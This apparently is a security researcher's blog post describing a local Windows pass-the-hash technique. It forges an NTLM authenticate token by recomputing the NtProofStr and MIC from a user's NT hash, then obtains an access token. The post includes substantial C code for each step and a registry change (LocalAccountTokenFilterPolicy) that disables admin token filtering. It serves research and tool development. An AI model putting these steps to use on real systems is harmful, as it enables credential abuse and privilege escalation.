Post

New way to perform Pass-The-Hash locally on Windows!

I found a stealthy way to perform pass-the-hash locally on a windows machine!

TL;DR

It is possible to perform pass-the-hash on a local windows machine in a stealthy and very stable way! To do so, you just have to play with the windows api InitializeSecurityContext & AcceptSecurityContext. Those 2 APIs are used to perform NTLM authentication and will return an access token at the end of a successful the exchange! I made a Pull request to RunasCs to add that technique!

Introduction

While reading how NTLM works thanks to James Forshaw’s great Windows Security Internals book. I got the idea of using windows APIs InitializeSecurityContext & AcceptSecurityContext to perform pass-the-hash. James Forshaw explained really well the whole process of using those APIs (using powershell) to complete a NTLM exchange and get an access token at the end. So, as I was not aware of any tool using this method to perform pass-the-hash and that I wanted to code something related to NTLM to make sure I understood the protocol clearly, I decided to develop a tool to do this! As I also wanted to learn more about Windows Access Tokens better I decided to code a token vault BOF and originally implemented that technique within that BOF.

The idea of using those APIs to perform pass-the-hash is not new, CCob & S3cur3Th1sSh1t already got this idea back in 2021. However, S3cur3Th1sSh1t opted for another technique to perform local pass-the-hash, you can read its post here.

I also wanted to implement that technique in the form of an exe, so I decided to port it to RunasCs instead of just creating another tool to perform one specific action. You can find my token-vault bof here and my RunasCs pull request there.

But what’s Pass-The-Hash ? Pass-The-Hash is a very famous technique used to authenticate to a system using the NTLM protocol and a password hash instead of a password. How is that possible ? The NTLM protocol never uses the password of a user to authenticate him, it always uses its NT hash. So as the protocol uses the NT hash to authenticate users, attackers can also authenticate using the NT hash of a user.

NTLM crash course

First before diving into how I managed to perform pass-the-hash through the windows APIs InitializeSecurityContext & AcceptSecurityContext, I will talk a bit about the NTLM protocol and how it works. If you already know how the protocol works, feel free to skip that section.

NTLM flow

So as shown by the image, the first step of the NTLM authentication process is that the client sends a first message called “negotiate token” to the server. This message includes the features supported by the client like which type of encoding or security it supports. The client may include the username of the user it wants to authenticate as and the name of the server but it is not mandatory.

Once the server receives the negotiate token, if this one meets the security requirements of the server, the server will create a new token called “challenge token” and send this one to the client. This token contains the name of the server, the name of the domain, the server challenge and other data. The server challenge is a 8 bytes challenge, generated by the server. The client must complete that challenge to demonstrate that it knows the password (or more specifically the NT hash) of the account it wants to authenticate as. Otherwise, the authentication request will be denied. I will dig on how to the client generates the response to this challenge later in this post.

Once the client receives the challenge token, if this one meets its security requirements, the client will forge a new token called “authenticate token” and send this one to the server. This message includes a timestamp, a challenge generated by the client (used to prevent rainbow tables attacks), the response to the server challenge, a Message Integrity Check (MIC) to prove the message hasn’t been tempered and data like the domain name, username…

Finally, the server receives the authenticate token and checks the answer of the client to its challenge, if the client passed the challenge and the message hasn’t been tempered, the authentification will be successful!

The password and NT hash of the user are never included in any of the tokens. The NT hash is used as an encryption key, that’s why it’s never directly present.

Diving into InitializeSecurityContext & AcceptSecurityContext

Now that you know the basics of how NTLM works, we can go deeper into its Windows API implementations. I will keep explaining how NTLM works along the way, as I only explained the basics and that I needed to go deeper for this research.

Here is a great overview of how NTLM authentication is performed with the InitializeSecurityContext & AcceptSecurityContext APIs:

NTLM api view

Source Windows Security Internals by James Forshaw

We can see that the NTLM messages are exchanged by the client and server through the APIs “InitializeSecurityContext” & “AcceptSecurityContext”. How the data is transported from the client to the server depends of the network protocol being used. Let’s now see how to call those APIs.

Create the negotiate token

To create the negotiate token, we can call the secur32!InitializeSecurityContext function, its prototype is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SECURITY_STATUS InitializeSecurityContextW(
	IN PCredHandle                 phCredential,
	IN OPTIONAL PCtxtHandle        phContext,
	IN OPTIONAL PWSTR              pTargetName,
	IN ULONG                       fContextReq,
	IN ULONG                       Reserved1,
	IN ULONG                       TargetDataRep,
	IN OPTIONAL PSecBufferDesc     pInput,
	IN ULONG                       Reserved2,
	IN OUT OPTIONAL PCtxtHandle    phNewContext,
	IN OUT OPTIONAL PSecBufferDesc pOutput,
	OUT PULONG                     pfContextAttr,
	OUT OPTIONAL PTimeStamp        ptsExpiry
);

The documentation for the NTLM parameters of this function can be found here.

The first parameter of this function is a credential handle obtained through the secur32!AcquireCredentialsHandle windows API.

The phContext parameter is used as the context of the NTLM exchange, think of it as the id of the NTLM exchange (just like a session id in web), it is used by the client or server to know at what stage of the exchange we are at.

pInput is used to specify the previous token of the exchange, in our case, as we want to get the negotiate token, and that this one is the first token, we shouldn’t specify anything in that field.

phNewContext and pOutput are used to get the new context and the next token (the challenge token in our case).

Those were the main parameters, you can read the documentation to know more about the others.

Here is the code to get a negotiate token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
WCHAR                     username[]     = L"niozow";
WCHAR                     domain[]       = L"WORKGROUP";
SecBuffer                 negotiateToken = { 0 };
CtxtHandle                clientCtx      = { 0 };
CredHandle                clientCreds    = { 0 };
SECURITY_STATUS           status         = { 0 };
SecBufferDesc             token          = { 0 };
ULONG                     flags          = { 0 };
SEC_WINNT_AUTH_IDENTITY_W identity       = {
	.Domain = domain,
	.DomainLength = sizeof(domain),
	.User = username,
	.UserLength = sizeof(username),
	.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE,
};

// get a credentials handle for the client
if ( ! NT_SUCCESS( status = AcquireCredentialsHandleW(
	NULL,
	L"NTLM",
	SECPKG_CRED_OUTBOUND,
	NULL,
	&identity,
	NULL,
	NULL,
	&clientCreds,
	NULL
) ) ) {
	PRINT_NT_ERROR( "AcquireCredentialsHandleW", status );
	return status;
}

// initialize a SecBufferDesc structure to receive the negotiate token
token.ulVersion            = SECBUFFER_VERSION;
token.cBuffers             = 1;
token.pBuffers             = &negotiateToken;
negotiateToken->BufferType = SECBUFFER_TOKEN;

// get a negotiate token
if ( ! NT_SUCCESS( status = InitializeSecurityContextW(
	&clientCreds,
	NULL,
	NULL,
	ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_CONNECTION,
	0,
	SECURITY_NATIVE_DREP,
	NULL,
	0,
	&clientCtx,
	&token,
	&flags,
	NULL
) ) ) {
	PRINT_NT_ERROR( "InitializeSecurityContextW", status );
	return status;
}

In order to perform pass-the-hash through this method, it is highly recommended that you set the pAuthData parameter of secur32!AcquireCredentialsHandleW (the identity variable in my code). If you don’t, Windows will set the “Local Authentication” flag and Pass-The-Hash is not possible with local authentification (we will use Network Authentification to Pass-The-Hash). You could theorically still perform Pass-The-Hash from that token, but this would only make the road longer.

The bytes for the negotiate token are located in negotiateToken.pvBuffer.

Create the challenge token

You can then pass the negotiate token to the secur32!AcceptSecurityContext function, that should give you an authenticate token. As calling this function is not very different from calling secur32!InitializeSecurityContext to get a negotiate token, I will leave you with the documentation if you want to know more.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
SECURITY_STATUS status          = { 0 };
CtxtHandle      serverCtx       = { 0 };
CredHandle      serverCreds     = { 0 };
SecBufferDesc   inputTokensDesc = { 0 };
SecBuffer       challengeToken  = { 0 };
SecBufferDesc   outputTokenDesc = { 0 };
ULONG           flags           = { 0 };

// initialize a SecBufferDesc structure to send the negotiate token
inputTokensDesc.ulVersion = SECBUFFER_VERSION;
inputTokensDesc.cBuffers  = 1;
inputTokensDesc.pBuffers  = &negotiateToken;

// initialize a SecBufferDesc structure to receive the challenge token
outputTokenDesc.ulVersion  = SECBUFFER_VERSION;
outputTokenDesc.cBuffers   = 1;
outputTokenDesc.pBuffers   = &challengeToken;
challengeToken.BufferType = SECBUFFER_TOKEN;

// initialize creds for the server
// no need for username would be ignored anyway
if ( ! NT_SUCCESS( status = AcquireCredentialsHandleW(
	NULL,
	L"NTLM",
	SECPKG_CRED_INBOUND,
	NULL,
	NULL,
	0,
	NULL,
	&serverCreds,
	NULL
) ) ) {
	PRINT_NT_ERROR( "AcquireCredentialsHandleW", status );
	return status;
}

// get the challenge token
if ( ! NT_SUCCESS( status = AcceptSecurityContext(
	&serverCreds,
	NULL,
	&inputTokensDesc,
	ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
	SECURITY_NATIVE_DREP,
	&serverCtx,
	&outputTokenDesc,
	&flags,
	NULL
) ) ) {
	PRINT_NT_ERROR( "AcceptSecurityContext", status );
	return status;
}

Create the authenticate token

Now comes the fun part, because we did not specify the password in the SEC_WINNT_AUTH_IDENTITY_W structure (back when we were creating the negotiate token), the authenticate token that will be generated by calling the secur32!InitializeSecurityContext function will be invalid. All fields not related to the user’s NT hash should be good but not the ones related to it. So, in order to make that authenticate token valid, we will have to modify the following fields:

  • The NT challenge response (NtProofStr)
  • The Message Integrity Check (MIC).

Calculate the challenge response (NtProofStr)

I’ve not really explained what the server challenge is, nor even written a word about “cryptography” in this post. This was to try to keep things simple, however, now is the time to go deeper.

The server challenge is a 8 bytes random data stream generated by the server, the client needs to calculate the HMAC-MD5 for that challenge (concatenated with more data) using a key called NtOwfv2.

HMAC is an algorithm that uses a hashing function (MD5 in the case of HMAC-MD5) and a secret key (NtOwfv2 in our case) to verify the integrity and authenticity of a message.

The NtOwfv2 key is calculated using the NT hash of the user, its username in uppercase and its domain. The NT hash is used as the key in a HMAC-MD5 operation, the rest is used as the data. The python code for this would be following:

1
2
3
4
def hmac_md5(key, data):
	pass

NtOwfv2 = hmac_md5(nt_hash, username.upper() + domain)

As I previously said, the server challenge is concatenated with data, this data is part of the authenticate token and refered as the NTLMv2_CLIENT_CHALLENGE in the microsoft documentation. You can find my definition of NTLMv2_CLIENT_CHALLENGE structure in my Ntlm.h project file.

You can use the following code to calculate the challenge response (NtProofStr):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BYTE buffer[ BIG_ENOUGH ] = { 0 };
BYTE ntProofStr[ 16 ]     = { 0 };

// copy memory
memcopy( buffer, serverChallenge, 8 );
memcopy( buffer + 8, ntlmv2ClientChallenge, ntlmv2ClientChallengeSize );

// calculate the hash
// buffer is the data
// 8 + ntlmv2ClientChallengeSize is the size of the data in bytes
// ntOwfv2 is the key
// 16 is the size of the key in bytes
// ntProofStr is a pointer to the buffer that will receive the challenge response 
hmac_md5( buffer, 8 + ntlmv2ClientChallengeSize, ntOwfv2, 16, ntProofStr );

Now what we have calculated the NtProofStr, we have to find the NtProofStr bytes in the generated authenticate token and overwrite those. Luckily, the structure that the authenticate token follows is documentated by Microsoft here. I translated it into a C structure and just had to cast the byte array to that structure to easily overwite the NtProofStr:

1
2
3
4
PAUTHENTICATE_TOKEN      forgedAuthToken       = authToken->pvBuffer;
PNT_CHALLENGE_RESPONSE   ntChallengeResponse   = ( ( PVOID ) ( forgedAuthToken ) ) + forgedAuthToken->NtChallengeResponseFields.NtChallengeResponseBufferOffset;
PNTLMv2_CLIENT_CHALLENGE ntlmv2ClientChallenge = &ntChallengeResponse->Challenge;
memcopy( ntChallengeResponse->NtProofStr, ntProofStr, 16 );

Calculate the Message Integrity Check (MIC)

The final thing to do to make that authenticate token valid is to overwrite the Message Integrity Check (MIC). The MIC is a stream of 16 bytes that proves that none of the messages have been tempered. Just like before, it is calculated using HMAC-MD5. To calculate the MIC, first a session key is calculated and it is then used as a key to sign the 3 tokens. I think it is easier to explain this with code, so here is the code to calculate the mic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BYTE  sessionKey[ 16 ] = { 0 };
PBYTE tokens           = { 0 };

// as a reminder here is the prototype of the hmac_md5 function:
// hmac_md5(unsigned char* key, int key_size, unsigned char* data, int data_size, unsigned char* output);

// calculate the session key
hmac_md5( ntProofStr, 16, ntOwfv2, 16, sessionKey );

// create a single block of data, just like malloc
tokens = RtlAllocateHeap( NtCurrentHeap(), HEAP_ZERO_MEMORY,
                                negToken->cbBuffer + challToken->cbBuffer + authToken->cbBuffer );

// clear out the existing mic, set 0s
MemSet( ( ( PAUTHENTICATE_TOKEN ) authToken->pvBuffer )->Mic, 0, 16 );

// copy the tokens
MemCopy( tokens, negToken->pvBuffer, negToken->cbBuffer );
MemCopy( tokens + negToken->cbBuffer, challToken->pvBuffer, challToken->cbBuffer );
MemCopy( tokens + negToken->cbBuffer + challToken->cbBuffer, authToken->pvBuffer, authToken->cbBuffer );

// calculate the mic
hmac_md5( tokens, negToken->cbBuffer + challToken->cbBuffer + authToken->cbBuffer, sessionKey, 16, mic );

// free the data, equivalent to the C standard free function
RtlFreeHeap( NtCurrentHeap(), 0, tokens );

The mic can then be replaced in the authenticate token.

Getting an access token

Now that we have an authenticate token, we can send it to the server and get an access token. The server will use the secur32!AcceptSecurityContext API to verify that the token is valid and the secur32!QuerySecurityContextToken API to return an access token to the client.

Here is the code to do this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
SECURITY_STATUS status          = { 0 };
SecBufferDesc   inputTokensDesc = { 0 };
HANDLE          accessToken     = { 0 };
ULONG           flags           = { 0 };

// prepare the buffer description for the input tokens
inputTokensDesc.ulVersion = SECBUFFER_VERSION;
inputTokensDesc.cBuffers  = 1;
inputTokensDesc.pBuffers  = &authToken;

// ask the server to validate the authenticate token
// if this one is correct, the server will update its context and place this one in "done" state
if ( ! NT_SUCCESS( status = AcceptSecurityContext(
	&serverCreds,
	&serverCtx,
	&inputTokensDesc,
	ASC_REQ_CONNECTION,
	SECURITY_NATIVE_DREP,
	&serverCtx,
	NULL,
	&flags,
	NULL
) ) ) {
	PRINT_NT_ERROR( "AcceptSecurityContext", status );
	return status;
}

// use the new server context to get an access token
if ( ! NT_SUCCESS( status = QuerySecurityContextToken( &serverCtx, &accessToken ) ) ) {
	PRINT_NT_ERROR( "QuerySecurityContextToken", status );
	return status;
}

Impersonating the user

As a medium integrity process

We now have an impersonation access token for the user, so it’s game over right ? Let’s see!

demo pass the hash as a medium integrity process

Hummm, as you can see, in the context of a medium integrity process, it’s not really game over. We fall under the restrictions of tokens. Why we can’t create a process with that token in complex topic. Again, if you want to know more about why it’s not possible I suggest you read the Windows Security Internals book by James Forshaw.

A workaround for that is to impersonate the token in a thread, that can be done using the --remote-impersonation switch with runascs.exe, however this has downsides and I couldn’t make it work for now.

demo pass the hash as a medium integrity process using --remote-impersonation

As a high integrity process

Let’s now see in the context of a high integrity process:

demo pass the hash as a high integrity process

It may seems like it is working perfectly, however the user1 user is a member of the BUILTIN\Administrators group but does not have the associated privileges. This is because Windows filters the tokens of local users that are part of the BUILTIN\Administrators group, when those users try to authenticate locally using NTLM.

Fortunately for us, it is possible to disable that behaviour by changing the LocalAccountTokenFilterPolicy property of the HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System registry key to 1. You can do this by using the --disable-token-filtering switch in RunasCs. Again, this workaround is not my finding, it is James Forshaw’s finding, credits go to him.

demo pass the hash as a high integrity process and disabling token filtering

The technique works quite well, however there is a downside that I did not mention: the returned token is a network logon type token and so it can’t be used to access other machines over the network.

Conclusion

This was my first post, I hope you liked it and that I managed to make this research look easy. The commands used in the demos were related to RunasCs and as I’m not the owner of the project, those may change or may even never exist in the official tool! I’ve made a pull request and I hope Antonio Cocomazzi will merge it! Otherwise you will still be able to find the project in the form of a bof on my github there.

Credits

  • This research was not easy and could not have been done without the great explanations of the NTLM protocol by James Forshaw in his Windows Security Internals book. As specified in the title, the book covers Windows security internals in depth and is just amazing! If you like windows security, I can only recommend you read that book.
This post is licensed under CC BY 4.0 by the author.